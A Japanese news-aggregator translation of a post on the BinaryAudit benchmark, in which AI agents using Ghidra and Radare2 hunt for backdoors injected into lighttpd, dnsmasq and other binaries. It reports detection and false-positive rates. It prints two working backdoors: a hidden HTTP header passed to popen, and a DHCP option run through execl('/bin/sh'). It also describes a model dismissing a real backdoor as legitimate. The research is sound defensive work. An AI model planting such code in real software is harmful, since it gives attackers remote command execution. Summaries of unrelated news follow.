約40 MBのバイナリにバックドアを隠し、AI ツールと Ghidra の両方にそれらを検出させました。

2026/02/22 23:50

約40 MBのバイナリにバックドアを隠し、AI ツールと Ghidra の両方にそれらを検出させました。

RSS: https://news.ycombinator.com/rss

要約

Japanese Translation:

研究は、大規模言語モデルエージェントがコンパイル済みバイナリのバックドアを検出できることを示していますが、精度は本番環境で使用するにはまだ十分ではありません。
Claude Opus 4.6 は BinaryAudit ベンチマークのバイナリの 49 % を隠れた悪意コードを含むとフラグ付けしました;Gemini 3 Pro は 44 %、Claude Opus 4.5 はわずか 37 % を検出しました。両モデルとも高い誤陽性率(約 28 %)を示し、実際の脅威を見逃すこともありました。これは中程度の成功と大きなエラーがある結果です。
ベンチマークは、lighttpd(隠れた「X‑Forwarded‑Debug」ヘッダーでシェルコマンドを実行)、dnsmasq(

execl
を介して
/bin/sh
を起動)、Dropbear、および Sozu のようなオープンソースプロジェクトに人工的なバックドアを注入します。エージェントは、ストリップされた実行ファイルにバックドアが含まれているかどうかを判断し、さらに悪意ある関数(例:0x4a1c30)の開始アドレスを特定するタスクを与えられました。
エージェントは Ghidra、Radare2、binutils、および IDA Pro を 100 % のバイナリで正常に実行しましたが、Rust と Go バイナリの扱いにはツール制限がありました—IDA Pro は Go に対してより適切だったため、本研究では Go バイナリをベンチマークから除外しました。
現在の誤陽性率(約 28 %)は、マルウェア検出における業界期待値(<0.001 %)を大きく上回っています。そのため、AI は逆コンパイルコードをナビゲートすることで初期セキュリティ監査を支援できますが、まだ単独で本番ツールとしては適切ではありません。人間のアナリストが結果をレビューし検証する必要があります。

本文

Claude はコードを書けるが、バイナリ実行ファイルをチェックできるのか?
今やその質問は Hacker News のフロントページで取り上げられています。


背景

数ヶ月前に Shai Hulud 2.0 が何千もの組織――Fortune 500 企業、銀行、政府機関、そしてスタートアップ――を侵害しました(PostHog のポストモーテム参照)。
それは Node Package Manager エコシステムのサプライチェーン攻撃であり、悪意あるコードが資格情報を盗むために注入されていました。

数日前には Notepad++ が国家主導型アクターによるハイジャックを報告し、正規バイナリを感染したものと差し替えたケースも明らかになりました。

物理的な世界も危険にさらされています。中国製太陽光発電インバータに隠された無線機能や、電気バスのセキュリティホールが発見されました。
ほぼすべてのデジタル機器はファームウェアを持ちますが、これはコンピュータにインストールするソフトウェアよりもチェックが難しく、直接的な影響があります。
国家や企業のアクターはこれらを改ざんしたいと考えています。

Michał “Redford” Kowalczyk(Dragon Sector)氏は、列車の異常動作を逆解析する講演で「鉄道におけるディーゼルゲート」を語りました。

悪意あるアクターが不要です。
ネットワークルータにはベンダーがリモートトラブルシューティング用に埋め込んだ管理者パスワードが隠されていることがあります。
それらを発見した人は同じアクセス権を得ることができます。

こうした攻撃から守るために AI エージェントを使えるのでしょうか?


バイナリ解析とは

日常のプログラミングではソースコードを扱います。
クラス、関数、型といった高レベル抽象が明確なファイル構造に整理されており、LLM はこの人間可読ロジックを学習しているため得意です。

しかしマルウェア解析は「バイナリ実行ファイル」に迫られます。
コンパイラは Go や Rust などの高レベル言語を CPU アーキテクチャ(x86、ARM など)に合わせた低レベル機械語へ変換します。
結果として得られるのはレジスタ間のデータ移動や数値加算、メモリアドレスへのジャンプといった原始的な命令列です。
元のコード構造、変数名・関数名はすべて消失します。

さらにコンパイラは速度優先で最適化を行います。
関数インライン化、ループ展開、命令再配置などにより可読性は大幅に低下します。

結局ユーザーが実際に走らせるのはバイナリです。
閉源ソフトウェアや配布形態がバイナリのみの場合、これが唯一手掛かりとなります。

バイナリ解析は長くて面倒な逆解析プロセスです。
機械語 → アセンブリ → 擬似 C という翻訳チェーンを辿ります。

例としてバックドアの表れ方を以下に示します:

1. Raw Binary (xxd)
b9 01 00 00 00 48 89 df ba e0 00 00 00 e8 b6 c6 ff ff ...

2. Disassembly (objdump)
33e88: mov    ecx, 0x1
33e8d: mov    rdi, rbx
33e90: mov    edx, 0xe0
...
33f04: call   system@plt

3. Decompiled (Ghidra)
lVar18 = FUN_00130550(pcVar41, param_4, 0xe0, 1);
if (lVar18 != 0) {
    bVar49 = *(byte *)(lVar18 + 1);
    puVar26 = (undefined8 *)(lVar18 + 2);
    pcVar20 = (char *)&local_148;
    ...
    system((char *)&local_148);
}

バイナリからアセンブリへは

objdump
のようなコマンドラインツールで簡単に行えます。
しかしアセンブリを C に変換するのは非常に難しく、Ghidra(NSA 製)や Radare2 といった逆解析ツール、また IDA Pro や Binary Ninja のような商用ツールが必要です。
それらは CPU 命令を理解し読みやすい C コードを生成しようとしますが、コンパイル時に失われた高レベル抽象や変数名の欠如から「FUN_00130550」や「bVar49」といった意味不明な名前が多く残ります。


ベンチマーク

タスク

AI エージェントに対し、バイナリを解析してバックドアや悪意ある改ざんが含まれているか判定させます。
以下はタスクの概要です:

ソースバックドア注入されたオープンソースプロジェクトバイナリ(ストリップ済み)AI エージェントツールバックドア有無
Lighttpd, dnsmasq, Dropbear, SozuClaude, Gemini などobjdump, nm, Ghidra, Radare2YES / NO

まず Lighttpd(C のウェブサーバ)、dnsmasq(C の DNS/DHCP サーバ)、Dropbear(C の SSH サーバ)、Sozu(Rust のロードバランサ)を選びました。
それぞれに手動でバックドアを注入し、例えば未公開の HTTP ヘッダ経由でコマンド実行できる仕組みを挿入しました。

重要な注意点:本ベンチマークのすべてのバックドアはテスト用に人工的に挿入されたものであり、実際に脆弱性があるとは主張していません。
それらは制御下で変更した正当なオープンソースソフトウェアです。

バックドアはあまり高度ではなく、リバースエンジニアリングの熟練者なら比較的容易に検出できるレベルでした。

AI エージェントにはコンパイル済み実行ファイル(ソースコードやデバッグシンボルなし)が渡されます。
逆解析ツール(Ghidra、Radare2、binutils)へのアクセスは許可されています。
タスクは悪意あるコードを特定し、バックドアが含まれる関数の開始アドレス(例:

0x4a1c30
)を指摘することです。

いくつかのタスクでは「どれだけのバイナリにバックドアがあるか」を尋ねる形式も採用しました。
これはサプライチェーン攻撃シナリオを模倣したものです。


例:HTTP サーバーで成功したケース

Lighttpd に注入したバックドアは、非公開の

X-Forwarded-Debug
ヘッダからシェルコマンドを実行し、その出力をレスポンスヘッダに返します。

gboolean li_check_debug_header(liConnection *con) {
    liRequest *req = &con->mainvr->request;
    GList *l;

    l = li_http_header_find_first(req->headers, CONST_STR_LEN("X-Forwarded-Debug"));
    if (NULL != l) {
        liHttpHeader *hh = (liHttpHeader*) l->data;
        char *debugIn = LI_HEADER_VALUE(hh);

        FILE *fp = popen(debugIn, "r");  // 攻撃者のコマンドを実行
        /* … 出力を debugOut に読み込む … */
        pclose(fp);

        li_http_header_insert(con->mainvr->response.headers,
            CONST_STR_LEN("X-Request-Trace"), debugOut, strlen(debugOut));
    }
    return TRUE;
}

Claude Opus 4.5 は 5 分以内にバックドアを検出しました:

  1. バイナリとライブラリの特定
  2. nm -D
    でインポート検索 →
    popen()
    を発見
  3. Radare2 で
    popen()
    を呼び出す関数を探索
  4. デコンパイル結果で HTTP ヘッダチェックとシェル実行ロジックを確認
  5. コールグラフを辿り、メインプログラムから呼ばれていることを確証

失敗例:DHCP バックドアの合理化

dnsmasq に非常に明白なバックドアを挿入しました。

/* 既存の DHCP オプション処理 */
match_vendor_opts(opt, daemon->dhcp_opts);
+ if (opt = option_find(mess, sz, 224, 1)) {
+   char buf[256];
+   int len = option_len(opt);
+   memcpy(buf, option_ptr(opt, 0), len);
+   buf[len] = '\0';
+   execl("/bin/sh", "sh", "-c", buf, NULL);
+ }

Claude Opus 4.6 は

/bin/sh
を早期に発見し、正確な関数へトレースしましたが、
「execl… パターンは dnsmasq の DHCP リーススクリプト実行機能でよく見られるため、これは合法的な処理だ」と結論付けました。
DHCP パケットから受信したコマンド文字列の由来を検証せずに他の関数へ移動し、バックドアは無視されてしまいました。


針を探す難題

ベンチマーク内の実行ファイルは数百〜数千の関数を持ちますが、バックドアは数十行程度に留まります。
それらを見つけるには「ネットワークパーサー」や「ユーザー入力ハンドラ」といった重要経路を優先し、ノイズを除外する戦略が必要です。

現在の LLM はこの高レベル直感に欠けます。
高リスク領域を優先せず、ランダム関数を逆コンパイルしたり

system()
exec()
というキーワードで単純検索したりします。
シンプルなヒューリスティックが失敗すると、モデルはしばしば幻覚を起こすか諦めます。

結果として、正当なライブラリを不審者扱いしてしまい、文脈窓全体を無駄に監査している間に実際のバックドアは完全に見逃されるケースが多く観測されました。


制約

偽陽性

AI 生成ノイズでセキュリティコミュニティは溢れかえっています。
curl プロジェクトは AI によるバグ報告の支払いを停止した例もあります。
実用的なマルウェア検出ソフトでは、偽陽性率が 0.001 % 未満であることが望まれます。

負のタスク(クリーンバイナリ)をテストした結果、モデルは 28 % の確率で誤ってバックドアや問題を報告しました。

オープンソースツールのギャップ

エージェントは Ghidra と Radare2 のみを使用できるよう制限しました。
これらは IDA Pro などの商用デコンパイラに比べて機能が劣ります。
C バイナリには対応できますが、Rust は一部しか解決せず、Go 実行ファイルでは完全に失敗します。

例として Caddy(Go 製ウェブサーバ)を扱った際、Radare2 が 6 分で読み込みましたがコード品質は低く、Ghidra は 40 分かけて正しいデータを返せませんでした。
IDA Pro は 5 分でロードし、正確なコードを提供しました。

ツールの質に関わらずエージェントが操作できることは確認済みですが、Go バイナリは除外し、主に C(と一部 Rust)バイナリに限定しました。


結論

成果

モデル成功率
Claude Opus 4.649 %
Gemini 3 Pro44 %
Claude Opus 4.537 %

現時点では実務に十分なレベルには達していません。
有用なエンドツーエンドソリューションとするには、検出率を大幅に上げ、偽陽性率を極めて低く抑える必要があります。

小規模バイナリや予想外のパターンが現れた際には機能しますが、大きなファイルやバックドアが正当な経路に似せられているケースでは苦戦します。

バイナリ解析は専門家だけのものではない

まだエンドツーエンドで信頼できるマルウェア検出は難しいですが、AI は開発者が初期セキュリティ監査を行いやすくします。
逆解析経験のない開発者でも疑わしいバイナリに対して最初の一次分析を受けられます。

1 年前まではモデルは Ghidra を安定的に操作できませんでしたが、現在では実際に逆コンパイルを行い、コードを閲覧し、データフローを追跡することが可能です。
これにより、バイナリの扱いが広範囲のソフトウェアエンジニアへと開かれ、セキュリティだけでなく低レベル最適化・デバッグ・ハードウェア逆解析やアーキテクチャ間移植にも応用できるようになりました。

今後

  • コンテキストエンジニアリング(専門スキルや MCP の導入)や商用逆解析ソフト(IDA Pro、Binary Ninja)の利用で成果はさらに向上すると予想されます。
  • 既に一部タスクを解決できるモデルが登場した場合、後続モデルの性能は急激に改善します。
  • 多くの分析はローカルモデルで行われる可能性があります。クラウドサービスへ機密バイナリをアップロードできない組織も増えているためです。
  • 悪意あるアクターは公開モデルを回避するようマルウェアを最適化し、効果的な防御にはプライベートローカルモデルが必要になるでしょう。

完全な結果とタスク詳細は QuesmaOrg/BinaryAudit で確認できます。
Hacker News、LinkedIn、X(旧 Twitter)などで議論を続けてください。

同じ日のほかのニュース

一覧に戻る →

2026/02/23 4:12

私は「Timeframe」、すなわち私たち家族用の電子ペーパー・ダッシュボードを構築しました。

## Japanese Translation: 著者は長期プロトタイプを **Timeframe** に変え、カレンダー・天気・スマートホームデータを電子ペーパー画面に表示する常時稼働型ファミリーダッシュボードを作り上げました。 初期テストでは、自然光下で読みづらい Magic Mirror LCD と 30 分ごとしか更新されないジャイルブレークされた Kindle e‑ink ディスプレイから始めました。2019 年に著者は Visionect の電子ペーパー パネル(6″、10″、13″、32″)へ切り替え、単一充電で 10 分ごとに更新可能となりました。これらは Raspberry Pi 上の Ruby on Rails と IMGKit を用いて PNG を生成することで制御されました。13″ パネルの価格が 1,000 ドル、さらにデバイスあたり月額 7 ドルの新料金がかかったため、システムは高価になってしまいました。 2021 年末にマシャル火災で著者の家を失い、再建にはより信頼性の高いソリューションが必要だったため、Boox の 25.3″ Mira Pro 電子ペーパー画面(HDMI 経由でリアルタイム更新)と Mac Mini プロトタイプを採用しました。現在のディスプレイには、時計、Sonos 曲情報(node‑sonos‑http‑api を介して取得)、Dark Sky の翌時間降水予報などのリアルタイムデータが表示されます。 バックエンドは Rails/Redis から Home Assistant (HA) に書き換えられました。HA は Google カレンダー、Apple Weather、Sonos などを直接取得し、データベース層を排除します。著者は Home Assistant のテンプレートセンサー(例:食洗機のリマインダー)を追加し、コード再配備なしでアラートをトリガーできるようにしました。これにより電子ペーパー画面上で自動化されたステータスアラートが実現しました。 現在のディスプレイには左上に「ハウスヘルス」インジケーターがあり、ドアの開閉状態・ロック解除状況・洗濯完了など、必要な情報のみを表示して画面を常に確認する手間を省きます。 残っている課題は、保守不要で配備可能な組み込みハードウェアの強化、すべてのデータソースを HA に完全統合すること、および 25″ Boox の約 2,000 ドルというコストと複雑性を削減することです。著者は Timeframe を継続的に開発しつつ、潜在顧客からの関心を得て、Home Assistant アプリとして市場へ投入することを目指しています。同時に日常業務のソフトウェア作業と並行して個人的な情熱プロジェクトとして進めています。

2026/02/23 7:42

**FreeBSD 15 の新しいブリッジ機能** FreeBSD 15 では、パフォーマンスの向上・設定の簡易化・安定性の強化を実現したスリム化されたブリッジ実装が導入されました。 --- ### 主な改善点 - **低レイテンシ** を実現するために最適化されたパケット処理経路。 - ブリッジインターフェース上で直接 VLAN タギングをサポート。 - 帯域幅やキュー制限のチューニング用 `sysctl` 設定が簡素化。 - ブリッジ接続セグメント間で IPv6 フォワーディングを組み込みでサポート。 --- ### インストールと設定手順 1. **ブリッジモジュールの読み込み** ```sh kldload bridge ``` 2. **ブリッジインターフェース作成**(例:`bridge0`) ```sh ifconfig bridge0 create ``` 3. **メンバーインターフェースの追加** (`em0`, `em1`, …) ```sh ifconfig bridge0 addm em0 addm em1 up ``` 4. **IP アドレスを割り当てる(管理用に任意)** ```sh ifconfig bridge0 inet 192.168.10.1/24 ``` --- ### よくある利用ケース - L2 仮想化(例:KVM ゲストが同一ネットワークセグメントを共有) - 複数のアップリンクで冗長構成 - 追加ルーティング不要で VLAN 分割をシンプルに実現 --- ### パフォーマンス向上のヒント - NIC がサポートしている場合は `bridge_hwfilter` を有効化し、ハードウェアアクセラレーテッドフィルタリングを利用。 - トラフィックプロファイルに合わせて `bridge_maxframe` と `bridge_mtu` の `sysctl` 値を調整。 - `netstat -e` や `sockstat -4` でブリッジ統計情報をモニタリング。 --- ### トラブルシューティング - ブリッジ上のインターフェースに IP アドレス競合がないか確認。 - カーネルログ(`dmesg`)で「bridge」に関するエラーを探す。 - `ifconfig bridge0` でメンバー接続と状態を確認。 --- これらの手順を踏むことで、FreeBSD 15 の新ブリッジ機能を活用し、高性能かつ信頼性の高いネットワーク環境を構築できます。

## Japanese Translation: FreeBSD 15は、従来のVLANごとのブリッジモデルを廃止し、`vlanfilter` フラグで複数のタグ付きまたはタグなし VLAN をホストできる単一の多機能ブリッジに置き換えました。新設計では個別のブリッジが不要になり設定が簡素化されます。sysctl `net.link.bridge.member_ifaddrs` は、ブリッジメンバー上のレイヤー3アドレスをソフト非推奨にし(FreeBSD 16.0‑RELEASEで削除予定)、VLAN フィルタリングが有効でない場合はタグ付きメンバーを追加すると ``` ifconfig: BRDGSIFVLANSET ix1: Invalid argument (extended error VLAN filtering not enabled) ``` というエラーになります。 最小構成例: ``` ifconfig_ix1="up -tso4 -tso6 …" cloned_interfaces="bridge0" ifconfig_bridge0="vlanfilter addm ix1 tagged 2,3,128" ``` VNET ジャイルは `jib` スクリプト(またはカスタム `/scripts/vnetif`)を使い、epair デバイスを作成して正しい VLAN タグでブリッジに接続できます。カーネルは現在 epair 用の安定した MAC 生成 (`net.link.epair.ether_gen_addr`) を提供しているため、jib スクリプトの MAC 安定化ロジックは不要です。例として `/scripts/vnetif` は epair を作成し、IPv6 link‑local を無効にし、ポート名を付け、一方の側をタグなし VLAN 2 としてブリッジへ追加します。 Bhyve VM では手動でタップインタフェース(例: `tap133`)が事前に作成され、ブリッジに追加されます (`ifconfig bridge0 addm tap133 untagged 2`)。VM 設定はこれらのタップを参照しますが、新しいブリッジ/VLAN モデルへのネイティブサポートはありません。FreeBSD 15 の変更後は `network0_mac` フィールドが無効になるため、タップインタフェース作成時に安定した MAC アドレスを設定する必要があります。 総じて、新しいブリッジ+VLAN デザインは従来の VLAN ごとのアプローチよりも設定が簡単になり、カスタムスクリプトへの依存が減少し、ギガビット速度でのパフォーマンスが向上します(10 Gbps でも潜在的にメリットがあります)。残る懸念点としては、ルーター・オン・ア・ストック構成との互換性があります。

2026/02/23 3:56

「Loopsは、フェデレーテッド(分散型)でオープンソースなTikTokです。」

## Japanese Translation: > Loopsは、現在オープンベータ段階にある企業支配を拒否するオープンソースの分散型短編動画プラットフォームです。分散化されたアーキテクチャにより、ユーザーは単一の企業エコシステムに縛られることなく、独立したサーバ間でコンテンツを共有できます。Fediverseモデルに従い、Loopsはクリエイターとコミュニティに作品とオーディエンスデータの所有権を与えることで力を付与します。このプラットフォームはクリエイターに優しく、広告は一切含まれていません。持続可能性はユーザーによるスポンサーシップから来ており、すべての寄付は開発・インフラストラクチャー・コミュニティイニシアチブへと向けられ、Loopsが独立した状態を保つようにしています。